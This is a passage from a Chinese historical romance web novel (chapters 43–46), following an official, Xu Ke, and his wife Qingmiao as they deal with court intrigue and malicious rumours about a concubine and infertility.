许清妙将握在手里的闲书搁置一旁,转过身子笑意连连地看向已经走近的许恪。 “哥哥今日回来的巧,胜州王姨娘送了藕粉来,我正让厨房煮了准备用它解馋,你陪我一起用刚刚好。” 许恪解幞头的动作微顿,问道:“王姨娘?她怎么来了?” 许清妙上前给他搭手,接过幞头放在架上,如实说道:“说是两位表哥进京科考,她跟着一起来的,特意来府里送了些胜州当地特产,还说等考完了带着表哥他们一起来府里拜访。” 许清妙想想又继续道:“我瞧着她是想让你帮忙为两位表哥谋个好官职。” 许恪点头了然,只淡淡挑眉道:“先考中再说,考不中找我也没用,朝廷用人有用人的规矩。妙妙不用管他们,再说你几时有两个表哥了?” 许清妙愕然一笑,轻搂着他的腰身怪嗔道:“没有没有,我只有一个好哥哥,是不是?” 许恪捏了捏她鼻尖:“知道就好,吃藕粉吧,小馋猫。” 鹊枝端着藕粉走近,努力装作什么也没听到的模样。 料谁也想不到,清俊如翰林也有这样吃醋拈酸的时候。 许清妙嘻笑着坐下吃羹,许恪转身进了内间更换衣袍,原来含笑的嘴角慢慢抚平,露出些许冷意。 他今日刚领了会试主考官的差事,胜州王氏就赶巧来清妙面前暗示,真是巧合? 他只知道在官场里根本没有这般巧合的事,如果有那只能是早就设计好的。 谁又能这么精妙地利用清妙的身世来暗示他? 许恪心中冷意蓦然涌上眉梢,抬手扯开官袍衣带,丢在榻上。 再出来,一身月白素袍腰间锦带轻扣,眉宇间无半点异样。 俩人其乐融融地吃完,外间便传来可以用膳了的提醒。 许清妙忍不住笑道:“哥哥今日与我一块胡闹,餐前还吃了这些甜物,那就晚点再用饭可好?” 许恪颔首,欣然同意。 · 两日后,一道大赦天下的圣旨下达各州各县,各级狱所空了一大半。 大理寺少卿胡汇中正忙于公务,身边同僚大理寺寺丞李思与旁人说道:“这李素风搭上了许恪这艘船出狱是指日可待的事情,不想这大赦令倒是给他先解了困。” 那人意有所指地笑道:“谁知道这大赦令是不是许参知的手笔呢?” 胡汇中听了不由皱眉,严肃问道:“这李素风从前是太医院的医正,怎么认识许恪了?” 李思见一向不与人论是非的胡少卿搭话了,热切解释道:“听说李素风给许恪的夫人开过治风寒的药方,前些日子许恪来见他就是因着这份情分,俩人在狱所里说了好一会话,这些狱卒都是有记载的。” 许恪没有刻意隐瞒身份去见李素风,自然也就没有让狱卒回避,依着规矩俩人说话内容自然记录在案了。 胡汇中不由想到许恪的夫人,正是他三年前为儿子定下的许家三小姐,那时候他只是看好许恪这个未来不可限量的状元郎,想与许家结一门姻亲关系,是三小姐或是四小姐嫁进来都无伤大雅。 却不想,那孽子竟然捏着这点事情冷落许家四小姐,落得结亲不成反倒断了两家来往。 如今眼看着许恪一步步高升,年纪轻轻已经入相阁,假以时日必然能封相,他这大理寺少卿在外看来还行,但想往上走一步,都已经难于上天了。 与许恪的关系必须得想办法修复,这些日子他时常注意许恪的事情,但想与他拉近关系谈何容易。 倒没想到李素风这倔老头竟然与许恪有些渊源。 大理寺监狱,被人议论的李素风正背着手慢悠悠地从狱所走出来。 陈进没穿狱卒衣袍,一脸欣喜地守在了狱所门口。 “李伯,我来接您回去。” 李素风有些混沌的眼睛看向他:“回哪去?” 陈进咧嘴道:“自然回我家呀,你答应过的,等从里面出来就来找我们住一起。” “可不能反悔。” 李素风一愣,深深的褶子笑得舒展开来:“你小子总拉着我这么个老头子回家有何意思呢?如今太医院也回不去了,免不得拖累你们。” 陈进抖开手里挽着的包袱,将一件长袍披在李素风肩上,认真道:“李伯,您是我们这些人的救命恩人,没你我们早就病死了,如今您有难我们岂会坐视不理?” “你且放宽心跟我走,我们家如今能赚钱能给您养老,再说我要是不能把你带回家,我娘得打死我。” 陈进一顿纠缠吹哄,硬是让李素风笑着跟他上了一辆马车,陈进亲自架着车驶离这里。 胡汇中赶到时,见到的就是俩人走远的背影。 “少卿,可要叫陈进回来?” 胡汇中自然也认得陈进,大理寺的狱卒经常在公堂上露面。 “不用,走了便罢。” 机缘不再,强求不来。 李素风跟着陈进回家的消息,第一时间传到了许恪手里,自从上次李素风说的那番话后,许恪便留了人暗地保护或者看顾他。 许恪直觉李素风肯定有事瞒着他。 他现在还腾不出手去查李素风,也正因他知道李素风对他并无恶意。 眼下会试和殿试才是最重要的事情。 · 京城各府达官贵人皆在守孝,倒少了你来我往地邀约聚会,许清妙乐得清静,面对不熟悉的来往娇客,前些日子她选择统统不见。 想必是得罪不少人,不然怎么又有了关于她的谣言流传坊间。 “少夫人,竟然有人谣传,说你自从云田回京后便闭门不出,怕是羞于见人。” 鹊枝端着热茶给她续上,许清妙闲适地靠着软榻看话本,顺便听了听近来传言,毕竟这都闷在家里,最适合的便是听人说闲话了。 没想到今日倒听到了关于自己的。 许清妙不由放下话本看向鹊枝,好奇道:“我为何羞于见人?” 她明明只是不认识她们懒得应酬罢了。 鹊枝愤愤然说道:“她们说你三年了还没给翰林生下一儿半女自觉惭愧,已经有了给翰林纳妾的想法。” “啊?她们替我想的吗?” 她几时愧疚了,她巴不得再等三年呢。 鹊枝拉了拉她袖子,急得跳脚道:“小姐你都不生气呀?她们这是胡编乱造见不得人好。” 许清妙按住鹊枝的手,笑道:“这不是有你替我生气了吗?我还气什么,倒是说我没给哥哥生孩子这事也不算新鲜的事了,怎么又提起来了?” 鹊枝也不解,猜测道:“难道是有人想给翰林当妾?” 许清妙点点头,“很有可能。” 哥哥才与她说过那刑部尚书送女之事,怕不是真有人在推波助澜。 许清妙说完继续看话本,不以为意。 “小姐,那要是想入府当妾,那奴婢也不担心了,她们也就嘴上说说成不了事。” 这下轮到清妙惊讶了,“噢?翰林纳妾你怎么不担心了?” 鹊枝得意笑道:“要是家里长辈给翰林纳妾,奴婢还真替小姐担心,但如果是外面的,那奴婢一点不担心,翰林就不可能喜欢别人。” “这你怎么看出来的?”许清妙来了兴致,将话本丢在一边灼灼的眼睛望着鹊枝。 “因为每次您去参加聚会,都让翰林来接你,那些夫人女郎盯着他看,翰林也从没回应过她们的视线,一次都没有哦。他肯定只喜欢你。” 第44章 第44章 一扇新凉,梧桐叶落满地。 “少夫人,今儿立秋,大厨房送了立秋糕过来,可要现在尝尝?” 怜星双手端着一只大大的食盘站在门口,俏生生地望着许清妙。 “等我回来再吃吧,你先去拿几个盘子分装,给院子里的丫头婆子都分分。” 这立秋糕是用糯米、红枣、莲子还有花生碎做成的甜口糕点,每年立秋这日,许府厨子就会做出各式各样的立秋糕,应时应景,很得许家上下喜欢。 怜星响亮地应下:“唉!那奴婢替大伙谢谢少夫人了。”正长个的馋丫头,喜滋滋地捧着盘子走了。 许清妙也爱吃立秋糕,但这会子她正准备去二房找许清雾说说话。 许清雾的亲事定下来后,越发不爱出来逛园子了,许清妙想找她说话就得亲自去找她。 许清妙也不介意,反倒很是珍惜这段四妹妹在府里的时光,等她再嫁了,她们再聚在一起就难了。 许家兄弟姐妹成亲不算早,许意前些日子定下一门亲事,最早也得今年过了年才能成亲。 老三许琏虽说去年就定下了亲事,但不巧女方的祖父正好去年冬天里过世了,得守孝一年,最快今年冬天才能成婚。 许老爷子直接做了安排,按顺序来,老三的婚事等老二办完再办,也正好不赶着人家里出孝就办喜事。 等两位新嫂子进了府,正好四妹妹又要出嫁了。 许清妙让鹊枝提了一篮子院子里刚摘的甜枣,收拾停当就往许清雾院子里去了。 姐妹俩最近日日见面,要么在老太太院子里碰上一起陪老太太说话聊天,要么在王氏跟前帮忙,或理理账或写写帖子。 “三姐,今儿怎么没午睡呢?” 往常许清妙都是午睡后才出来走动,鲜少午后便出来串门。 许清雾从榻上起身到门口迎她,等到握住她手了又打趣道:“三姐,往后我是不是得喊你大嫂了?昨日在祖母院子里,我追出来喊你一声三姐,大哥看我那眼神怪难以描述的。” 许清妙随她的动作一起到榻上坐好,轻轻推了她一下,嗔道:“在我心里你都是亲四妹,叫大嫂还是三姐随你。” 时间如水,许清妙已然默默适应哥哥妻子的身份,原来的兄弟姐妹想叫她大嫂也不是不行。 “那我还是愿意叫三姐,三姐找我可是想说昨日听说的那些传言呢?” 许清妙颔首,“四妹你这几年都在京城,可知道这种传言是怎么回事吗?” 许清雾笑道:“还能是怎么回事,不就是有人在背后嫉妒发狂呗!这种似是而非的传闻从大哥拒了长公主家那位翁主就开始了,听说最近翁主回京了,这谣言马上就死灰复燃了,显而易见就是她搞的鬼。” “这回传大哥纳妾,她就是故意试探,好像大哥纳妾了她心里就平衡了似得。” 许清妙不解,反问道:“那位翁主已经嫁人了,应该不会是她吧?” “那就得派人去查了,大哥知道这事了吗?” 许清妙摇头:“应该不知道,昨晚回来没听他提起。” “那就先别管,反正这种事假的真不了。” 许清妙也不准备管,但等到傍晚时分,随安回府来见她了。 “少夫人,翰林让我来知会您一声,今晚得晚些时辰回来,让您别等他早点歇息。” 许清妙忙问道:“可是出什么事了?” 随安低声回道:“翰林让人抓了一批人,说是国丧期间聚众饮酒作乐,如今正往大理寺去了。” “都是些什么人呢?” 随安补充道:“就是那些在酒楼闹市散布翰林纳妾谣言的嘴碎之人,翰林说了等问出主谋要杀一儆百。” 许清妙懂了,许恪不是不知道这事,而是没打算将这事说出来影响她的心情。 · 隔日,风言风语突然销声匿迹,许家纳妾的事情也有人出面作了澄清。 “国丧期间,许参知怎么可能知法犯法私下纳妾呢?” “就是,再这么以讹传讹,诬陷朝廷命官是要杀头。” “昨日抓的那几人都蹲大牢去了,听说判了半年呢。” 这事情解决的太快,效果也立竿见影,许清妙倒觉出些不同了,按理说上一次长公主府散布这些谣言,许恪并没有这般快速的出手。 难道这次并不是那翁主做的? 许清妙一时倒分不清了,倒是见到许恪是在早食的饭桌上。 许清妙正拿着勺子喝粥,平常她最爱喝的红枣粳米粥,今日却想着事情有些喝得没滋没味。 “怎么一副茶饭不思的模样,是因为我昨日回晚了?” 许恪一身墨绿色圆领常服出现在门厅内,浅笑着看向她。 许清妙瞥了他一眼,起身手指勾着他,将他拉过来坐下。 “才不是,下回晚回来不要怕吵醒我,还是回屋睡,书房哪有卧房舒服。” 许恪给她夹了个鲜笋肉馅包子,颔首应下:“好,都听夫人的,那刚刚想什么想的吃东西都没兴致了?” 许清妙胃口向来不错,吃什么都香,许恪自然一眼就看出她的心不在焉。 许清妙也不瞒着,坦言道:“我原以为这波谣言是迟翁主做的,可你一番雷霆手段,好像又不是她,所以,哥哥你告诉我吧,到底谁在背后像蛐蛐一样说你坏话?” 许恪示意她先吃东西,只笑道:“不是她,是那日我跟你说想送女儿的那位。” 许恪也没想到宽林会使这种小动作,但细想又觉得不难理解,明面上常林不会敌对自己,因为他还想着巴结老师,背地里却要出了他被驳了面子那口气。 只是,常林这般反常的巴结韩烈怎么看怎么有问题,许恪昨晚便派了人去查,相信很快会有结果的。 早膳过后,许清妙见许恪跟着她回了卧房,不由奇怪:“哥哥今日不要去忙公务吗?” 许恪转身合上门,淡淡道:“还早,我们把昨晚该做的先做了。” 许清妙微愣,看了看窗外风淡云清的天空,突然觉得是不是自己听错。 “哥哥说什么?” 许恪顺着她的视线看向那扇窗,抬脚走去,伸手合上窗,屋内光线立马变暗,但也是清晰照人的。 “妙妙过来。” 许清妙脸上红得像涂了厚厚的胭脂,结结巴巴地劝道:“要不这次就算了吧?”反正都过了一个晚上了。 许恪摇头,伸出手来拉住她,将她拉到床边坐下。 许清妙心跳得飞快,这可是白日里,哪里有人白日里这样的? “我们答应过林大夫遵医嘱的,况且现在才辰时,有些夫妻还正在房里呢。” 许清妙抬头诧异道:“哥哥怎么知道的?” 许恪低头看着她的眼睛,不自然道:“那本屏山杂记里后面写过了,你没看到那部分。” 许恪握着她的手,开始解衣带,日光下不比烛光里朦胧意境,而是更加直观而强烈。 许清妙又不敢看了,只由着他亲她眉间哄她。 不言而喻,自从有了肌肤之亲成了真夫妻,许清妙见识了各种各样的许恪,每一样都让她心动。 屋外的丫鬟们也没想到,主子们一大早会有那动静。 鹊枝红着脸将院子里的婆子丫头都赶到了侧院,亲自守在院子门口,就怕这会有人来串门。 怜星跟在鹊枝身边,小声问道:“鹊枝姐姐,是不是该备好热水呢?这会子厨房里已经没有备热水了。” 鹊枝僵硬地点头:“快去吧,小声些,多备点。” 拔步床内许清妙将枕巾塞进了嘴里,死死的咬住才没有大声叫出来,她从来不知道这种事情越是紧张越是让人难耐。 许恪看着她这幅摸样,却不似平常那般处处依着她,她不让他将她的脚抬起,他抬了,还抬得高高的。 她不让他折她右腿,他也不听,总之,好让她崩溃,等到风停雨歇时,他才来搂着她道歉。 许清妙才不要理他,背对着他哼道:“哥哥真烦人。” 许恪轻笑出声,很是恶劣,许清妙抬起软绵绵的脚,踢他,却被他握在手里轻轻地捏。 “那哥哥给你按摩,一会就不酸了。” 半个时辰后,许清妙嘴里念叨着“哥哥是骗子”沉沉睡了过去,反观许恪拿帕子给她仔细擦洗盖上薄被,他才披着外袍进了净房。 等到许恪再次出现在众人面前时,丫头们没一个敢直视他的。 他面不改色地交待:“不要去吵少夫人,让她睡到自然醒,备好热水和饭菜,如果夫人或老夫人传话就说晚点她不舒服在休息,可听懂了?” 鹊枝连忙点头道:“奴婢懂了。” 其他丫鬟也纷纷表示懂了。 前院门庭处,随安已经在日头下等了一个钟头,才远远瞧见自家从来守时的主子姗姗来迟。 “主子,是直接去贡院吗?” 今日得提前进贡院安排明日的会试进场,许恪作为主考官自然得露面。 许恪颔首,嘴角勾着不易察觉的浅笑,随安觉得自家主子心情很不错,而且走过他身前时,身上还带着沐浴后的清香。 “嗯,直接备车去贡院。” 如今升了官,许恪事情更多了,便没再自己骑马,但是,可以在马车里处理一些简单的文书。 主仆俩人刚上了马车,马夫还没开始动作,就见远远一辆挂着许家标志的马车驶来。 随安眼力好,一眼便看出是许意商行的马车,低声说道:“翰林,是二公子的车。” 许恪抬手让马夫稍等,没一会,那辆马车便稳稳地停在了许府门前。 果然,许意一身洒脱地跳下马车,伸手扶着五妹妹许清莲缓缓下来。 俩人侧目正好看向许恪,许意惊喜道:“大哥,好巧,你是要出门吗?” 许恪颔首:“正要出去,五妹妹的事情都办妥了?” 许意点头,许清莲也忙点头,“都办好了。” 她知道这回是大哥开口让二哥来接她回京的,有大哥开口,她和离之事办的又快又顺当。 她晚点就去谢谢三姐,肯定是三姐吹了枕边风,不然照大哥的性子没这么爽快管她的事情。 许恪颔首:“那你们进去吧,我先走了。” 放下车门,马车毫不留恋地走远。 第45章 第45章 夜色漆黑无月无星,皇城外的卫长公主府偏院。 一盏孤灯照不亮整间屋子,丫鬟也不敢再添灯火,半隐在昏暗处的池娉婷讨厌太亮。 梨花木的软榻上垫着厚厚的锦缎软盖,可她却选择坐在了一旁冷硬的半圈椅上,半抱着双臂冷冷看着跪在她身前的侍女。 “翁主,奴婢不敢半句假话,那些传言许参知要纳妾的人全被抓进了大理寺,至今没有出来,现在人人都知道许参知绝不会纳妾。” 侍女说完,池娉婷的脸色青白一片,三年多了,这人竟真不纳妾,不是装模作样的假正经。 “可打听了他是否有子嗣,妾室通房的也算。”她生硬的声音平静无波,眼神却令人看了发冷。 “没有,一个也没有,听说许家老夫人也在催他。” 池娉婷像是找到了逗趣的乐子,脸上扯出一个讽刺的笑,抱着手臂猛地站起身,围着屋子晃了一圈。 “三年前,许清妙落水后李医正怎么说来着?” “他说她恐会宫寒难孕,李素风精通妇科不会出错。” 她自问自答,神情癫狂,厉声道:“马上派人去散布许清妙宫寒无法受孕的消息,快去!” 三年前许清妙从船上落水当晚便高烧不退,给许清妙看诊的大夫正是她派去的李素风。 想来这三年许清妙一直没孕就是这个原因,而许家竟然一直没给许恪纳妾,那说明他们家应该还不知道许清妙宫寒难以生育。可见是许恪有意隐瞒,如今她要让所有人都知道,她倒要看看这俩人是不是真的情比金坚。 侍女额头冒着冷汗应下,战战兢兢地领命退了出来。 如今许参知早不是三年前的状元郎,随意任人污蔑,刚刚才拿人下狱,她却还要顶风作案,简直就是找死。 可如果不做翁主马上会弄死她,做了起码许参知找的是翁主的麻烦,侍女别无选择,她也没有勇气去劝早已经听不进任何劝告的翁主。 这日夜里,大街小巷都知晓了许家大少夫人宫寒难孕这庄秘事,甚至传言已经演变成许参知要休妻另娶,传的是有鼻子有眼的。 许清妙知晓这事时,刚咽下那苦苦的汤药,她正感慨还有几贴药终于要喝完了。 鹊枝在一旁看着她欲言又止,直到清妙瞪了她一眼:“说吧,看把你憋得,又出什么事了?” 鹊枝将传言说与许清妙听,“小姐,那些人难道不怕翰林了吗?奴婢担心屋里老夫人和夫人肯定也知道了。” 许清妙摇头叹气:“他们当然不怕哥哥,本来就是故意散布的,别急,等哥哥回来再说。” 果然,没过一会,老夫人便差人来喊她去院子里问话了。 院子里丫头婆子都低着头,没有往日的热情欢笑,堂屋里老太太裹着头巾唉声叹气,王氏坐在一旁给她倒茶。 许清妙如常进屋打招*呼。 “祖母,娘。” 老太太捂着头挥了挥手,缓缓道:“坐吧,其他人都下去。” 服侍的婢女婆子都散了,许清妙听话地乖乖端坐在她们跟前,她心底倒是没有一开始那么忐忑,知道该面对的总得面对。 “说吧,你真的是因为宫寒无法受孕?” 老太太一双担忧的眼睛看着她,势必要听她亲口说出否认的话。 许清妙糯糯道:“前阵子林大夫来看过了,说能治好,祖母别听那些闲话。” “真能治好?不骗祖母?” “应该能,怎会骗祖母,这几天药吃完就让林大夫来复诊,林大夫就是京城最有名的那位千金妙手,祖母你知道吧?” 老太太粗粗地嗯了一声,稍稍松了一口气道:“倒是位名医。” 王氏接话道:“这事我知道,吃了快三个月了,等她这药吃完看了大夫再说,而且这事肯定是大郎瞒着的,还是得找大郎来问问。” 王氏帮着许清妙说话,倒是出乎她的意料,她以为大伯娘只是她的婆母了。 王氏安抚了老太太转头开始训她:“你这孩子宫寒可大可小,怎么不早重视,早吃药早好了。” 许清妙乖乖颔首,“娘说的是,儿媳定然好好吃药。” 老太太不由感慨:“大郎什么都一帆风顺,怎么在子嗣上就这么艰难呢?菩萨保佑他多子多福,三娘,你作为正妻该给夫君纳妾就该纳,别惯着他。” 许清妙低着头不接话,反正打死她也不可能自己给哥哥纳妾,祖母这话她万万不敢应声。 王氏见她不吭声,皱紧眉头,解围道:“等大郎回来,一定要他给家里一个说法,哪能由着你们乱来。娘,这事也不是三娘说了算,你也别为难她了。” 许清妙知道大伯母虽然还算喜欢自己,但涉及到子嗣哥哥的利益那肯定是要站在对面的。 但还好,她总算没为难自己。 她只盼着哥哥快点回家,然后告诉她们,是他非她不可。 · 此时,许恪正忙着贡院会试的开始,他作为主考官在开考后接下来的三日他都得在贡院监考。 因此,对于外面的风言风语还无暇顾及。 随安也没法进贡院,急得嘴角长泡也只能在干等着。 反倒是时刻关注着他的常林先知道,常林在家大笑了三声:“呵,装什么正人君子假清高,我倒看他为了子嗣要不要纳妾。” “夫君不如还是去试试韩相吧?妾身觉得还是得抓住韩相,只有真正靠上了他,往后才能帮夫君挡住翻案的责难。” 常林颔首赞同:“夫人所言极是,这些年来刑部积累的冤案错案数不胜数,我都不怕翻案,怕就怕当年的那件案子被翻出来,真要是有平反一日,我们全族都得陪葬。” 前太子被牵连进前朝谢家通敌大案,为了自保也为了救谢家才不惜逼宫,最终却给了尚是齐王的先帝,一个杀他的机会。 一念之差,成王败寇。 而谢家这件通敌大案,正是前相吕三宗一手策划伪造,常林配合主审,拿着一封莫须有的通敌信函,将谢家定死在了通敌这个罪名上。 整件事情,先帝一清二楚,但他作壁上观,直到最后一举名正言顺地诛杀了前太子,夺下太子之位继承帝业。 吕三宗顺势向先帝投诚,十八年来官至右相,直到前段时间告老还乡,如今看来这老狐狸怕是早就看出来先帝身体不行了。 常林诚惶诚恐,没了吕三宗在上头罩着。 照理前太子和谢家亲眷都死绝了,如今皇帝都换人了,他应该高枕无忧。 常林却难以心安,大概是那件事做得太绝,谢家一百八十口人全死在了他手上,他时常觉得还有余孽在暗处伺机报复。 “去把胜州院子里那位接来吧,我就不信绝色美女献媚,韩烈能拒绝得了。” 常林下了血本,那女子是他无意间发现,本是留着自己享用的,却被夫人发现了,只好作罢。 还好他留了心眼将人困在了胜州,如今该是派上用场的时候。 · 夜色深深,有人惶恐,也有人忙碌。 清冷的丞相府里,灯火寂寂,韩烈身边只跟着一个老仆伺候茶水,堆满公文卷轴的书案前,他低头忙了已经两个时辰。 “老爷,夜深了,您该歇息了。”韩烈身边的老仆是从小跟在身边的随从,忠厚老实,几十年伺候在旁,俩人早已是一家人般。 韩烈轻咳一声,抬眼看了看漏刻,已经子时正了。 “嗯,平叔你先去歇着吧,我看完这点就回去躺着了。” 他这些年习惯了晚睡,一个人躺在床上容易想起过往,伤神,倒不如忙一点。 韩平叹气念叨:“老爷不娶妻身边也没个女子,总得自己珍重自己,这般熬着身体还没老奴壮实了。” 韩平身材粗壮,即便头发发白了也健步如飞,身强体壮,反观韩烈明明比他小了十岁,今年才堪堪三十六却身形单薄了很多,这些年损耗得太快了。 韩烈也不计较,只笑着颔首:“自然没你壮实了,你可曾是少林俗家弟子,我只是个读书人。” 韩平见劝不动便继续陪着,说说话分散他注意力:“老爷,坊间都在传许恪那小子要休妻另娶。” 韩烈闻言一顿,不由放下书看了过来:“这是为何?” “说是三年来没生出孩子,那姑娘宫寒难孕,不过也不知道真假,都是传言罢了。” 韩烈却皱眉不语,只将书卷收了,低声道:“今日到这,去睡吧。” 韩平见他去睡觉,自然不多说其他了,服侍着主子回了寝屋歇下才退下。 韩烈自然见过许清妙,只是次数极少,但不需要多见,他就能肯定许清妙必定跟他心中那人有某种关联。 他不用去证实,因为即便所有证据都指向不是,他也能凭着直觉知道许清妙就是谢家幺女谢芝兰的血脉。 他刻意不去想,未出阁的谢芝兰为何会有血脉在世,他找了她十八年,也等了她十八年。 在第一眼见到许清妙时,他松了一口气,庆幸谢兰芝肯定没有死在那场灭族之祸。 他派平叔去查过许清妙这些年的经历,从小到大,她没有见过亲娘谢兰芝,也从没陌生女子在她身边出现。 但只要确定了许清妙就是谢兰芝的女儿,但凡谢兰芝还在世,那她终究会回来找她的女儿。 他等着就好。 她不愿让人知道她还活着,那他便当做不知道,这些年来他的耐性一直很好。 他也早就做好了等不到的准备。 就像那一年,他没能等到他的未婚妻如约嫁过来,那他便一路找了过来,站在了最高处让她想找他时能轻易找到。 第46章 第46章 初秋来得太快,池子里的荷花尚未完全凋零,落叶便已经铺满庭院。 喧嚣了一整日的流言蜚语,突然间戛然而止,许府派去打探的下人回报:“不知为何,昨日在街市宣扬的几个妇人全被抓了,连着她们家都被官府查封了,听说去抓人的是禁军。” 许清妙听了一头雾水,她不能有孕怎么扯到禁军那去了。 下人退下后,许家二房打发人来请她过去,她便换了装束带着鹊枝去了二房院子。 鹊枝提前与她说道:“少夫人,二夫人这回肯定是为了感谢您,昨日就听说让厨房里备好了您爱吃的素菜。” 如果不是因为还需要守国丧,只怕二夫人会摆酒席请乐师来助兴。 许清妙笑道:“因为五妹妹的事?我又没做什么,二婶倒是客气。” 主仆俩人慢悠悠地走到二房院子门口,便听见里边传来说话声,连一向不爱出门的老太太也来了。 贾氏正笑着打趣:“这烦人精回来了,你们祖母这耳根子可清闲不了咯。” 许清莲撒娇道:“祖母才不会嫌小五烦呢,小五往后都在院子里伺候祖母,陪祖母念经拜佛,咱们把京城附近的寺庙都拜一拜,保佑祖母祖父长命百岁。” 丫头给许清妙撩起帘子,她款款进屋,众人视线皆转至她身上。 “瞧,你们大嫂子来了,赶紧叫人。”贾氏性子是有些欢脱的,拾掇着许清雾许清莲喊嫂子。 许清妙现在可不会再脸红,大大方方地应下了那声带着笑的嫂子。 “祖母、母亲、二婶、三婶。” 她行了礼,一溜长辈叫了过去,见到李氏时暗道:今儿可真难得连李氏都出来了。 老太太慈祥地笑道:“坐吧,跟你妹妹们坐。” 一张圆桌席面,摆在了侧厅正中,围坐着家里女眷。 桌上果盘茶盏应有尽有,不到午膳时辰都在一起喝茶聊天。 “刚才三郎回来了一趟,说今儿一早他们巡城处接到上面命令,闹市里抓了好些人,还查封了好几家商户,你们猜那些人是谁?” 贾氏脸上红润,说起话来故意吊人胃口,却不讨人厌。 许清妙暗道,莫非是传她谣言的那班人? 许清莲接话道:“娘,这点事你也卖关子,没劲,这不明摆着大哥为了三姐姐把那些嚼舌之人给办了么?” 王氏放下茶碗,疑惑道:“大郎这会正在贡院呢,那儿外人进不去里面人也出不来的,不会是他。” 她还是了解自己儿子的,就像前面一次派人抓了人见官,但不会查封人家家里,毕竟口舌之说而已。 许清妙也赞同,哥哥哪会兴师动众地使唤禁军去干这点事。 “那是谁做的?” “不管是谁,如今可算没人敢再传了,谁不怕全家遭殃呢。” · 天色渐暗,正值饭后茶余时,韩府的奴仆也围坐后屋院子里聊天说话。 韩平作为府里总管事,其实只管韩烈的日常起居,府里的奴仆杂役另有管事管理。 他路过院子里,正好听见几人在说话:“今儿卯时不到我起来洒扫庭院,你们猜我见着谁了?” “谁呢?” 那人低声道:“相爷呢,那会人都看不清,相爷就站在那海棠树下,我瞧见时他肩头都落了叶子了,也不知道站了多久。” “相爷一向起得早,这有啥奇怪的?” “那倒是,不过我总觉得他那神色像是一晚没睡,当时我也不敢去打搅,就往另一处院子去了。” 韩平重重地咳了一声,那几个说话的立马不说了,纷纷走散开。 韩平心底暗叹,主子从小就这样,心思重执念深,这么熬下去铁人都扛不住。 正院书房,韩烈用了晚膳后便进了书房,没再出去。 韩平倒了热茶送进去,瞧着韩烈脸色还算正常,正提笔写字。 “老爷,您昨儿夜里没睡,今儿不如早点休息?府里请了个推拿大夫,正好给您试试效果?” 往常韩烈累极无法放松入睡,韩平便找人来给他推拿放松,连着几年都是靠推拿大夫帮助睡眠。 韩烈摇了摇头:“会试今日结束了吧?” “是的,今儿街上都热闹些了。” 韩烈笔下没停,淡淡吩咐:“嗯,去备好热水和九曲红梅,一会泡茶。” 韩平不解:“好,这么晚了还有谁要来吗?”九曲红梅是韩烈最喜欢的一道茶,轻易不会用来待客。 韩烈笑道:“自然是有人等不及要来了。” 韩平退了出去交代备好茶具,然后守在院门口,打算看看这么晚了谁还来打搅主子睡觉。 临近皇宫的御街上,虽然还在国丧期,没有歌舞热闹,但人却不少,大部分是刚考完的士子,正成群结队的在外面觅食。 酒楼关着门,茶馆便是他们歇息之处。 许恪从贡院出来时,天色已经漆黑,马车里他闭目养神,心中却记挂着许清妙,今日又是三日了。 随安见他疲倦,本不欲开口,但许恪闭着眼好像也知道他想说话,只淡淡问道:“这三日都出什么事了?” 他进去前交代过,事情重要的就立即通知他,这三日他没收到消息,不代表没事发生。 随安连忙将谣传许清妙宫寒难孕之事说了清楚。 许恪睁眼看过来:“你是说,第二日便有人收拾了传谣之人,而且派出的是禁军?” 随安狠狠点头:“没错,我还以为是萧统领做的,可是一打听萧统领最近都在宫里守卫,根本没出宫。” 许恪颔首,禁军可不是谁都能调动的,即便是调动巡城的那部分,能做到的也不过是禁军的统领和几位副官,当然还有如今大权在握的韩相,他虽然不直接掌控禁军,却有的是办法使唤几个巡城禁军。 “改道去韩相府吧。” 随安不解,但不敢多嘴,忙吩咐车夫改了道。 夜色匆匆里,一架马车利落地停靠在韩相府前,许恪带着随安入府。 韩平本在院子门口守着,直到门房来报许恪来了,才知道原来主子等的是他的弟子许恪,忙起身笑着将人迎进来。 书房隔间,韩烈正端坐榻前,见他来了并不意外,只挥了挥手示意他坐在对面。 茶具摆上后,韩烈刚伸手,许恪便接过了水壶亲自给老师冲茶。 “贡院里一切可都正常?” 许恪颔首,恭敬回道:“三百四十五名考生除了两名晕过去的,三名作弊的,其余皆已顺利考完,那三名作弊的已经关起来了。” “嗯,顺利就好,想问我什么?” 韩烈自然知道自己的学生,既然来人肯定是想知道清楚。 许恪抬眼看着韩烈,缓缓说道:“我以为老师如今该是会防着我了。” 官场上自来难论感情,大多讲的还是利益,如今先皇明显的将许恪插在韩烈和小皇帝中间,就是要防着韩烈。 韩烈低头喝茶,茶香悠远,半响才叹道:“我寒窗苦读多年,习得一身治国术,本就是卖于帝王家又怎么会在意帝王是谁呢?何况我了解你,防着你没用,该知道的你都会知道,那我何必多此一举。” 许恪了然,便直接问出心中所惑:“那老师为何派人帮我解决了那些散布谣言之人呢?” 韩烈笑道:“你又是怎么想到是我做的呢?” 许恪不语,只看着韩烈。 “你在忙,这种事情我能帮忙自己帮了,况且你的夫人是无辜的。不懈就当我是突然多管闲事耍耍威风好了。” 韩烈语气轻松,眼神真诚,许恪看不出任何算计或者恶意。 师徒二人看向对方的眼神,都能从中意识到一点,他们暂时没有利益冲突。 许恪笑着举杯致谢:“那学生以茶代酒多谢老师。” 韩烈举杯喝了,也笑了笑,慕然想起他曾经还为许恪牵过红线,他那个收养的义女就曾中意许恪,有那么一段时间,韩烈是真希望许恪是自己的女婿。 俩人又说了会话,韩烈提醒道:“不懈不必陪着我喝茶到半夜,无事了便回去吧,想必家里人正等着你。” 许恪起身告辞,韩烈目送他走远。 直到再次上了马车,许恪心底都有一种怪异的感觉,上一次是韩烈问他要不要考虑纳了常林的女儿,这一次他直接过问了他的私事,他有种韩烈在暗处观察他的错觉。 他知道这样是不对的,同朝为官又是师徒,不该太过怀疑老师。 但感觉总不会骗人,只是他没有察觉到恶意,所以才并没有排斥。 马车咕噜咕噜地滚过青石板,他裹着夜色终于回到了许府,头一回没有先去见祖父父亲,而是直接回了许清妙所在的院子。 老远便瞧见丫鬟站在门口打探,见到是他走来,立马转身跑了。 是去给清妙通报了,果然,他刚踏进院门,许清妙便拎着裙角扑进了他怀里。 “哥哥,你终于回来了,你再不回来我就自己找林大夫了。” 今日药也吃完了,按摩泡澡也弄了,家里都催她再找林大夫复诊呢。 许恪伸手抱着她,跟在一旁的丫鬟随从都很有眼色地退了下去。 “回来了,刚去了老师那一趟,抱歉回来晚了,让妙妙受委屈了。” 他唇角带笑的逗她,拉着她的手往里走。 